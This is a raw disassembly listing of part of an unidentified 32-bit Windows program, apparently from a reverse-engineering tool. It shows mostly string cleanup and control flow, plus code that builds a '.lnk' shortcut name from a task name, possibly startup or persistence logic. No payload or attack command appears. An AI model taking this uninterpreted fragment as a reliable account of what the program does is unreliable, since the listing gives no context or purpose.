call fcn.004d0c91
add esp, 8
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x25c]
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x31c], 0xf
mov byte [ebp - 0x330], 0
cmp edx, 0x10
jb 0x473129
mov ecx, dword [ebp - 0x270]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x47311f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x274]
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], 0xf
mov byte [ebp - 0x270], 0
cmp edx, 0x10
jb 0x473182
mov ecx, dword [ebp - 0x288]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x473178
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], 0xffffffff
call fcn.0040f9f0
inc dword [ebp - 0x20c]
jmp 0x471ea0
push 6
push 0x648ab0
lea ecx, [ebp - 0x378]
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x364], 0xf
mov byte [ebp - 0x378], 0
call fcn.0040eb70
lea eax, [ebp - 0x378]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
cmp dword [eax + 8], 7
jne 0x473207
mov ecx, dword [eax]
jmp 0x473209
xor ecx, ecx
mov eax, 0x14f8b589
mov byte [ebp - 4], 7
imul ecx
sar edx, 0xd
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [ebp - 0x364]
cmp edx, 0x10
jb 0x473258
mov ecx, dword [ebp - 0x378]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x47324e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
cmp esi, 0x141
je 0x4732c0
cmp esi, 0x1a5
je 0x4732c0
cmp esi, 0x1a6
je 0x4732c0
cmp dword [ebp - 0x22c], 0
mov esi, dword [ebp - 0x20c]
jne 0x4732b4
push esi
mov dword [ebp - 0x22c], 1
call fcn.004734c0
mov edi, dword [ebp - 0x204]
test eax, eax
je 0x4732a8
mov dword [ebp - 0x224], 1
jmp 0x472fa7
mov dword [ebp - 0x18], 1
jmp 0x472fa7
mov dword [ebp - 0x18], 1
jmp 0x472fa1
mov dword [ebp - 0x224], 1
jmp 0x472f9b
xor eax, eax
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 7
mov word [ebp - 0x90], ax
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 9
call fcn.00419e10
push 8
push str.taskname
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 0xf
mov byte [ebp - 0x318], 0
call fcn.0040eb70
lea eax, [ebp - 0x4b8]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x240]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov esi, eax
push 0x647dec
lea edx, [ebp - 0x90]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x4a0]
call fcn.00424360
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x4d0]
call fcn.00439b80
add esp, 4
push 4
push str..lnk
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.00427540
or edi, 4
xor ecx, ecx
mov dword [ebp - 0x204], edi
mov dword [ebp - 0x210], edi
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x114], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
movq qword [ebp - 0x104], xmm0
mov word [eax], cx
lea ecx, [ebp - 0x4d0]
call fcn.0040f8c0
lea ecx, [ebp - 0x4a0]
call fcn.0040f8c0
lea ecx, [ebp - 0x4b8]
call fcn.0040f8c0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x304]
cmp edx, 0x10
jb 0x473424
mov ecx, dword [ebp - 0x318]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x47341a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4734b0
push edx
push ecx
call fcn.004d0c91
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x308], 0
lea eax, [ebp - 0x114]
mov dword [ebp - 0x304], 0xf
mov ecx, esp
mov byte [ebp - 0x318], 0
push eax
call fcn.0040c5c0
call fcn.004a7d70
mov ecx, dword [ebp - 0x18]
add esp, 0x18
test eax, eax
mov eax, 1
cmovne ecx, eax
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x114]
call fcn.0040f8c0
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 7
call fcn.0040f8c0
mov esi, dword [ebp - 0x20c]
jmp 0x472fa7
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004d0a85
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0056efe9
call fcn.0040bb20
int3